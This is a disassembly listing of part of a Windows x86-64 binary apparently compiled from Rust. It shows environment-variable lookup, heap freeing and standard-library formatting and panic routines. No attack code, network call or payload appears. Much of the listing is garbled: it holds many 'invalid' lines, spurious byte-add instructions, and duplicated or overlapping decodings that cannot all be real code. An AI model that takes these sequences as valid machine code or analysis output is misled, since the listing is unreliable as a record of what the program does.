add byte [rcx - 0x48], al
add byte [rdx], al
add byte [rax], al
mov eax, 2
mov qword [rbp + 0x418], rax
xor edi, edi
xor ebx, ebx
xor r12d, r12d
in al, 0x49
cmp eax, 0x201
add byte [rax], al
add byte [rax - 0x77], cl
test dword [rax], ebx
add al, 0
add byte [rcx], dh
push qword [rcx]
fild dword [rbp + 0x31]
in al, 0x49
cmp eax, 0x201
jae 0x1400801c0
jmp 0x1400801af
jae 0x140080299
cmp r8, 0x201
jae 0x1400801c0
mov esi, 0x200
lea r13, [rbp - 0x58]
mov r15, r8
jmp 0x140080218
sub r8, r12
sub rbx, r12
cmp rbx, r8
jae 0x1400801ef
lea rcx, [rbp + 0x3f0]
mov rdx, r12
call fcn.1400ae520
mov rax, qword [rbp + 0x3f0]
mov qword [rbp + 0x418], rax
mov rdi, qword [rbp + 0x3f8]
mov eax, 0xffffffff
cmp rdi, rax
mov r12d, 0xffffffff
cmovb r12, rdi
mov qword [rbp + 0x400], r12
mov rbx, rdi
mov rsi, r12
mov r13, qword [rbp + 0x418]
mov r15, r12
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, qword [rbp + 0x410]
mov rdx, r13
mov r8d, r15d
call qword [sym.imp.kernel32.dll_GetEnvironmentVariableW]
mov r14d, eax
test eax, eax
jne 0x140080248
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x14008035e
mov r8d, r14d
cmp r15, r8
jne 0x1400801a0
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14008038f
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
cmovae r15, rax
mov r8, r15
cmp r8, 0x201
jb 0x1400801af
jmp 0x1400801c0
lea rcx, [rbp - 0x50]
call fcn.14007a090
mov byte [rsi + 0x18], 2
jmp 0x140080328
cmp rsi, r8
jb 0x1400803a9
invalid
add byte [rax - 0x73], cl
lea ebp, [rax + 0x4c000003]
mov edx, ebp
lea rcx, [rbp + 0x3a8]
mov rdx, r13
call fcn.14007e0a0
movups xmm0, xmmword [rbp + 0x3a8]
add byte [rdi], cl
adc byte [rbp + 0x3b8], cl
invalid
invalid
add eax, dword [rax]
invalid
add byte [rdi], cl
adc byte [rbp + 0x3b8], cl
invalid
invalid
add eax, dword [rax]
invalid
lea edi, [rax + 0xf000003]
sub dword [rbp + 0x3e0], ecx
loopne 0x1400802c7
add byte [rax], al
movaps xmmword [rbp + 0x3e0], xmm1
loopne 0x1400802c7
add byte [rax], al
movaps xmmword [rbp + 0x3d0], xmm0
sub dword [rbp + 0x3d0], eax
test rdi, rdi
mov rsi, qword [rbp + 0x3c8]
je 0x1400802ef
invalid
invalid
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x418]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp byte [rbp + 0x3e8], 2
jne 0x14008033d
mov byte [rsi + 0x18], 2
lea rcx, [rbp + 0x3d0]
call fcn.14007a090
cmp qword [rbp + 0x408], 0
mov ebp, 0x408
invalid
je 0x140080328
mov ebp, 0x408
add byte [rsi + rdx + 0x48], dh
mov ecx, dword [0x1400f91f8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x410]
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x4a8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movaps xmm0, xmmword [rbp + 0x3d0]
movaps xmm1, xmmword [rbp + 0x3e0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
cmp qword [rbp + 0x408], 0
jne 0x140080312
jmp 0x140080328
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x3d0], rax
mov byte [rbp + 0x3e8], 2
test rdi, rdi
mov rsi, qword [rbp + 0x3c8]
jne 0x1400802d9
jmp 0x1400802ef
lea rcx, str.internal_error:_entered_unreachable_code_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.1400aa0a0
jmp 0x1400803be
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, rsi
mov r8, rax
call fcn.1400aa020
ud2
lea eax, [rdi]
add byte [rcx], dh
ror byte [rbx + rcx*4 - 0x7b], cl
adc byte [rax + rax], al
add bh, bh
adc eax, 0x2ffbc
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop r15
pop rbp
ret
shl eax, 1
test rax, rax
jne 0x14008048a
mov rcx, rsi
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
call fcn.1400ae5e0
test al, al
jne 0x14008047b
invalid
mov byte [rsi + 8], 1
jmp 0x14008047b
int3
push rsi
push rdi
push rbx
sub rsp, 0xf0
mov rdi, r9
mov edi, ecx
mov edi, ecx
mov rbx, r8
mov rsi, rcx
mov r12, qword [rcx]
mov r15, qword [rcx + 8]
mov qword [rsp + 0xe8], rdx
add byte [rax - 0x7b], cl
sal byte [rbp + 0x16], cl
add byte [rax - 0x7b], cl
sal byte [rbp + 0x16], cl
cmp byte [r12 + 0x20], 0
jne 0x1400804e5
add byte [rbp + 0xe], dh
inc r15
mov qword [rsi + 8], r15
xor eax, eax
jmp 0x140080bcb
mov rax, qword [r12]
test r15, r15
je 0x1400805ed
test bl, bh
add byte [rax], al
invalid
test bl, bh
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x69687
invalid
lea rcx, str.
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 1
add dword [rax], eax
add byte [rax], al
lea rcx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
fiadd word [rsi]
add byte [rax - 0x77], cl
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x30], rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
and al, 0x38
and al, 0x38
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r14, [rsp + 0x20]
lea esi, [rsp + 0x20]
lea esi, [rsp + 0x20]
mov r8, r14
call fcn.140042240
test al, al
jne 0x140080bc9
cmp byte [r12 + 0x20], 1
jne case.0x140076169.441
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rcx - 0x75], cl
add al, 0x24
mov rax, qword [r12]
lea rcx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0xa8], rcx
and al, 0xa8
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xfffd1012
and al, 0xa8
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xfffd1012
mov qword [rsp + 0xb0], rdx
lea rdx, [0x1400e9b90]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x69623
mov qword [rsp + 0xb8], rdx
lea rdx, [0x140041650]
xchg esp, eax
and al, 0xb8
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xfffc10d4
mov qword [rsp + 0xc0], rdx
mov qword [rsp + 0x20], 2
rol byte [rax], 0
add byte [rax - 0x39], cl
and al, 0x20
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 1
xor byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x38
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x40], 0
and al, 0x40
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x48], 0x20
mov byte [rsp + 0x50], 3
and al, 0x50
invalid
and al, 0x50
add ecx, dword [rax - 0x77]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], 1
and al, 0x78
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], 1
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbp*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax], al
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbp*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
jmp 0x14008074f
lea rcx, [r12 + 0x18]
and al, 0x18
mov qword [rsp + 0xa8], rcx
lea rcx, [fcn.140041690]
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xfffc108f
mov qword [rsp + 0xb0], rcx
mov qword [rsp + 0x20], 2
add byte [rax - 0x39], cl
and al, 0x20
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x30], 0
add byte [rax], al
mov qword [rsp + 0x38], 4
and al, 0x38
add al, 0
add byte [rax], al
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0x20
mov byte [rsp + 0x50], 3
push rax
add ecx, dword [rax - 0x73]
lea rcx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
lea rcx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x70], rcx
and al, 0x70
mov qword [rsp + 0x78], 2
lea r14, [rsp + 0x20]
add byte [rbp + rcx*4 + 0x74], cl
and al, 0x20
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], 1
add dword [rax], eax
add byte [rax], al
and al, 0x90
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
invalid
invalid
lodsb al, byte [rsi]
and al, 0xa8
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lea r13, [rsp + 0xa8]
mov qword [rsp + 0x80], r13
add byte [rax], 0
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
add byte [rcx + rcx*4 - 0x54], cl
and al, 0x80
add byte [rax], 0
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
mov dword [rsp + 0x88], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
mov ecx, dword [rax + 0x20]
invalid
invalid
mov rcx, qword [rax + 0x20]
mov ecx, dword [rax + 0x20]
mov rdx, qword [rax + 0x28]
mov edx, dword [rax + 0x28]
push rax
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x70
lea r8, [rsp + 0x70]
call fcn.140042240
test al, al
jne 0x140080bc9
invalid
invalid
add byte [rax], al
invalid
sub al, byte [0xc04906a1]
add eax, 0x80410000
add byte [rcx - 0x80], al
cmp byte [r12 + 0x20], 1
jl 0x1400806c7
and byte [rcx], al
jne case.0x140076169.441
mov rax, qword [r12]
mov eax, dword [rsp]
add al, 0x24
and al, 0x48
lea ecx, [rsp + 0xe8]
lea rcx, [rsp + 0xe8]
mov qword [rsp + 0xa8], rcx
test al, 0
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x51a
lea rcx, [0x140080be0]
mov qword [rsp + 0xb0], rcx
mov dword [rsp + 0xb0], ecx
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x1400e9b70]
lea rcx, [0x1400e9b70]
lea ecx, [0x1400e9b70]
mov qword [rsp + 0xb8], rcx
lea rcx, [0x140041650]
or eax, 0xfffc0f6c
and al, 0xb8
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xfffc0f6c
insb byte [rdi], dx
paddb mm7, mm7
mov qword [rsp + 0xc0], rcx
mov qword [rsp + 0x20], 2
and al, 0x20
add al, byte [rax]
add byte [rax], al
rol byte [rax], 0
add byte [rax - 0x39], cl
and al, 0x20
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x30
add dword [rax], eax
mov qword [rsp + 0x30], 1
add byte [rax], al
mov qword [rsp + 0x38], 1
cmp byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x40
add byte [rax], al
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x40], 0
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x48
and al, 0x48
mov qword [rsp + 0x48], 0x20
and al, 0x48
and byte [rax], al
and byte [rax], al
add byte [rax], al
mov byte [rsp + 0x50], 3
lea rcx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
sub edx, dword [rsi + rax + 0x4c894800]
and al, 0x70
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], 2
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], 1
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
and al, 0x90
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x54], cl
invalid
invalid
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], 0
mov qword [rsp + 0x80], r13
add byte [rax], 0
add byte [rax - 0x39], cl
mov qword [rsp + 0x88], 2
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax], al
mov rcx, qword [rax + 0x20]
invalid
invalid
push rax
mov byte [rax], al
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x70
invalid
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x70
invalid
lea eax, [rsp + 0x70]
jo case.0x14007cc61.496
call fcn.140042240
test al, al
ror byte [rdi], 0x85
push rsp
add al, 0
invalid
rcr dword [rdx], cl
cld
inc dword [rax + rax*8 + 0x454850f]
ror byte [rdi], 0x85
push rsp
invalid
ror byte [rdi], 0x85
push rsp
add al, 0
add byte [rbx - 0x7bf0fcc5], al
cmp dword [rbx], 3
invalid
test byte [rsi], cl
add byte [rax], al
cmp dword [rbx], 3
je case.0x140076169.458
movzx eax, byte [r12 + 0x20]
and al, 0x20
and byte [rax - 0x7d], cl
cmp rax, 1
je 0x140080b26
clc
add dword [rdi], ecx
test byte [rax + 0x48000003], bl
test eax, eax
test rax, rax
jne case.0x140076169.458
cmc
add byte [rax], al
add byte [rdi], cl
movups xmm0, xmmword [rbx + 0x40]
add byte [rax], al
movups xmm0, xmmword [rbx + 0x40]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rbx]
adc byte [rbx], al
adc byte [rbx], al
movups xmm1, xmmword [rbx + 0x10]
adc byte [rbx + 0x10], cl
adc byte [r15], cl
movups xmm2, xmmword [rbx + 0x20]
adc byte [rbx + 0x20], dl
movups xmm3, xmmword [rbx + 0x30]
adc byte [rbx + 0x30], bl
movaps xmmword [rsp + 0x50], xmm3
pop rsp
and al, 0x50
movaps xmmword [rsp + 0x40], xmm2
sub dword [rsp + 0x40], edx
push rsp
and al, 0x40
movaps xmmword [rsp + 0x30], xmm1
and al, 0x30
movaps xmmword [rsp + 0x20], xmm0
mov rax, qword [r12]
and al, 0x48
lea ecx, [rsp + 0x20]
and al, 0x20
lea rcx, [rsp + 0x20]
and al, 0x20
mov qword [rsp + 0xd8], rcx
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xffffcd85
test ebp, ecx
invalid
invalid
lea rcx, [0x14007d560]
test ebp, ecx
invalid
mov qword [rsp + 0xe0], rcx
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
mov qword [rsp + 0x70], 2
mov dword [rsp + 0x70], 2
and al, 0x70
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x80], 2
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
test byte [rax + rdx*4], ah
add byte [rax], al
mov qword [rsp + 0x90], 0
movabs rcx, 0x400000020
mov ecx, 0x20
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x47], cl
invalid
mov ecx, 0x20
and byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + rax], al
add al, 0
add byte [rax], al
mov qword [rsp + 0x98], rcx
mov byte [rsp + 0xa0], 3
test byte [rax + riz*4], ah
and al, 0xa0
add byte [rax], al
add byte [rbx], al
lea rcx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0xa8], rcx
mov word [rax + rbp*4], fs
add byte [rax], al
invalid
mov word [rax + rbp*4], fs
and al, 0xa8
test al, 0
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xb0], 1
add byte [rax - 0x73], cl
and al, 0x70
and al, 0x70
lea rcx, [rsp + 0x70]
lea ecx, [rsp + 0x70]
and al, 0x70
mov qword [rsp + 0xc8], rcx
mov qword [rsp + 0xd0], 1
and al, 0xd0
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
and al, 0xd0
rol byte [rax], 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbx*8], fs
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
lea rcx, [rsp + 0xd8]
mov qword [rsp + 0xb8], rcx
mov dword [rsp + 0xb8], ecx
mov word [rax + rdi*4], fs
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rcx], al
invalid
mov eax, 0x48000000
mov dword [rsp + 0xc0], 1
add dword [rax], eax
add byte [rax], al
invalid
mov qword [rsp + 0xc0], 1
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rax
sub byte [rbp + rcx*4 - 0x7c], cl
and al, 0xa8
add byte [rax], al
invalid
mov rcx, qword [rax + 0x20]
mov ecx, dword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0xa8]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, ch
mov ebp, 0x84fffc19
sbb esp, edi
inc dword [rax + rax*8 + 0x3de94c74]
call fcn.140042240
test al, al
je 0x1400808d3
sbb esp, edi
inc dword [rax + rax*8 + 0x3de94c74]
jmp 0x140080bc9
add eax, dword [rax]
add byte [rcx - 0x75], cl
mov rax, qword [r12]
mov rax, qword [r12]
mov eax, dword [rsp]
and al, 0x48
lea rcx, [0x1400e9b98]
lea ecx, [0x1400e9b98]
mov qword [rsp + 0x20], rcx
and al, 0x20
and al, 0x20
mov qword [rsp + 0x28], 1
mov dword [rsp + 0x28], 1
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x6daac
invalid
invalid
lea rcx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
invalid
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x30], rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
ror byte [rdi], 0x11
and al, 0x38
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
push rax
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x20
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rax
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x20
call fcn.140042240
test al, al
invalid
jne 0x1400808e2
cld
inc dword [rax + rax*8 + 0x2f6850f]
ror byte [rdi], 0x85
test byte [rdx], 0
add al, byte [rax]
invalid
ror byte [rdi], 0x85
test byte [rdx], 0
add al, byte [rax]
add byte [rcx - 0x75], cl
jne 0x140080bc9
mov rax, qword [r12]
add al, 0x24
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x67f72
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
adc eax, 0x67f72
jb case.0x140076169.471
jg 0x1400808eb
invalid
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
mov r8d, 1
add bh, bh
push rax
call qword [rax + 0x18]
sbb byte [rax + rax*8 + 0x2d2850f], al
add byte [rax], al
test al, al
jne 0x140080bc9
cmp dword [rsp + 0x150], 1
jne 0x1400804d7
test edx, edx
sti
invalid
mov rax, qword [rdi]
cmp eax, 2
je 0x1400804d7
invalid
sti
invalid
invalid
invalid
dec dword [rbx + 0x1582484]
add byte [rax], al
mov eax, dword [rsp + 0x158]
and al, 0x58
add dword [rax], eax
add byte [rcx + 0xd82484], cl
add byte [rax], al
mov dword [rsp + 0xd8], eax
cmp byte [r12 + 0x20], 1
jl case.0x140076169.469
and al, 0x20
add dword [rdi], ecx
jne 0x1400809fa
mov rax, qword [r12]
and byte [rcx], al
jne 0x1400809fa
mov rax, qword [r12]
lea rcx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
sub al, dh
invalid
mov byte [rsi], 0
mov qword [rsp + 0xa8], rcx
lea rdx, [0x140051570]
std
invalid
add byte [rax - 0x73], cl
adc eax, 0xfffd0c2b
std
invalid
std
dec dword [rax - 0x77]
mov qword [rsp + 0xb0], rdx
xchg esp, eax
and al, 0xb0
add byte [rax], al
add byte [rax], al
lea rdx, [0x1400e9b70]
add byte [rax], al
lea rdx, [0x1400e9b70]
mov qword [rsp + 0xb8], rdx
mov dword [rsp + 0xb8], edx
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xfffc0ced
lea rdx, [0x140041650]
mov qword [rsp + 0xc0], rdx
mov qword [rsp + 0x20], 2
add byte [rax], al
invalid
xchg esp, eax
and al, 0xc0
add byte [rax], al
rol byte [rax], 0
add byte [rax - 0x39], cl
and al, 0x20
add al, byte [rax]
add byte [rax], al
invalid
mov qword [rsp + 0x30], 1
mov dword [rsp + 0x30], 1
and al, 0x30
and al, 0x30
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x40], 0
add byte [rax - 0x39], cl
and al, 0x40
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0x20
and byte [rax], al
add byte [rax], al
add byte [rax], al
add dh, al
and al, 0x50
push rax
add ecx, dword [rax - 0x77]
and al, 0x70
invalid
mov byte [rsp + 0x50], 3
mov qword [rsp + 0x70], rcx
invalid
jo 0x1400809eb
mov qword [rsp + 0x78], 1
mov dword [rsp + 0x78], 1
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x90], rcx
mov dword [rsp + 0x90], ecx
and byte [rax - 0x77], cl
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
mov dword [rsp + 0x90], ecx
mov qword [rsp + 0x98], 1
lea rcx, [rsp + 0xa8]
lea ecx, [rsp + 0xa8]
add byte [rax - 0x77], cl
mov word [rax + rax*4], fs
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
invalid
mov word [rax + rbp*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
mov dword [rsp + 0x80], ecx
mov qword [rsp + 0x88], 2
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x70
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rax
sub byte [rbp + rcx*4 + 0x44], cl
lea eax, [rsp + 0x70]
and al, 0x70
call fcn.140042240
test al, al
jne 0x140080bc9
test edi, ecx
add dword [rax], eax
invalid
test edi, ecx
add dword [rax], eax
add byte [rcx - 0x75], cl
add al, 0x24
mov rax, qword [r12]
lea rcx, str._____________at
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 1
lea rbx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x30], rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0x20]
call fcn.140042240
test al, al
jne 0x140080bc9
mov rcx, qword [r12 + 8]
mov rax, qword [r12 + 0x10]
mov rdx, qword [r12]
mov qword [rsp + 0x20], rdx
lea r8, [rsp + 0x28]
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x28], xmm0
mov r9, qword [rdi + 0x10]
mov qword [rsp + 0x38], r9
call qword [rax + 0x20]
test al, al
jne 0x140080bc9
mov rax, qword [r12]
lea rcx, [rsp + 0xd8]
mov qword [rsp + 0x70], rcx
lea rcx, [0x140043bc0]
mov qword [rsp + 0x78], rcx
lea rcx, [0x1400e9bd0]
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x40], 0
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], 1
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0x20]
call fcn.140042240
test al, al
jne 0x140080bc9
mov rax, qword [r12]
lea rcx, str._nlibrary_std_src_rt.rs
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x30], rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0x20]
call fcn.140042240
mov ecx, eax
mov al, 1
test cl, cl
je 0x1400804d7
jmp 0x140080bcb
movups xmm0, xmmword [rbx + 0x40]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmm2, xmmword [rbx + 0x20]
movups xmm3, xmmword [rbx + 0x30]
movaps xmmword [rsp + 0x50], xmm3
movaps xmmword [rsp + 0x40], xmm2
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov rax, qword [r12]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0xa8], rcx
lea rcx, [0x14007d560]
mov qword [rsp + 0xb0], rcx
lea rcx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], 1
mov qword [rsp + 0x90], 0
lea rcx, [rsp + 0xa8]
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], 1
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0x70]
call fcn.140042240
test al, al
je 0x1400808d3
mov al, 1
add rsp, 0xf0
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
ret
mov rcx, r8
shr r9, 4
mov r8d, eax
and r8b, 0xf
cmp r8b, 0xa
mov r10d, 0x57
cmovb r10d, edx
add r10b, r8b
mov byte [rsp + rcx + 0x2e], r10b
lea r8, [rcx - 1]
cmp rax, 0x10
clc
adc byte [rcx + rcx*4 - 0x38], cl
adc byte [rcx + rcx*4 - 0x38], cl
jae 0x140080c40
add rcx, 0xfffffffffffffffe
cmp rcx, 0x80
ja 0x140080cc7
mov eax, 0x81
sub rax, r8
add rcx, rsp
loope 0x140080cd2
add rcx, 0x30
add ecx, 0x30
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x1400e3859]
mov r9d, 2
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov dl, 1
call fcn.1400417b0
movdqu xmmword [rsi], xmm6
mov dword [rsi + 0x34], edi
movaps xmm6, xmmword [rsp + 0xb0]
add rsp, 0xc8
invalid
enter 0, 0
invalid
enter 0, 0
pop rdi
pop rsi
ret
lea r8, [0x1400d8b18]
mov edx, 0x80
call fcn.1400a9f20
add al, byte [rax]
add al, ch
xchg rdx, rax
add al, byte [rax]
ud2
int3
add cl, byte [rdi + rcx + 0x45]
leave
mov rcx, rdx
mov rdx, rax
jmp fcn.14007d860
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x98
in al, dx
cwde
add byte [rax], al
invalid
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x10], 0xfffffffffffffffe
mov rsi, rdx
add byte [rax], al
add byte [rax - 0x39], cl
adc r14b, r15b
invalid
mov rdx, qword [rcx]
mov eax, edx
rol byte [rbx - 0x72b7fc20], 1
or eax, 0x6f9ff
rol byte [rbx - 0x72b7fc20], 1
or eax, 0x6f9ff
movsxd rax, dword [rcx + rax*4]
add rax, rcx
invalid
jmp rax
enter 0xffffffffffffe0ff, 0x48
mov eax, dword [rdx]
mov rax, qword [rdx]
mov r8, qword [rdx + 8]
mov rcx, rsi
mov rdx, rax
add rsp, 0x98
add esp, 0x98
add esp, 0x98
pop rbx
pop rdi
pop rsi
pop rbp
jmp fcn.140041f10
invalid
adc esp, edi
invalid
mov rcx, qword [rdx - 1]
dec qword [rax - 0x75]
dec dword [rax - 0x75]
mov rax, qword [rdx + 7]
mov rax, qword [rax + 0x20]
mov rdx, rsi
mov edx, esi
invalid
invalid
add rsp, 0x98
pop rbx
pop rdi
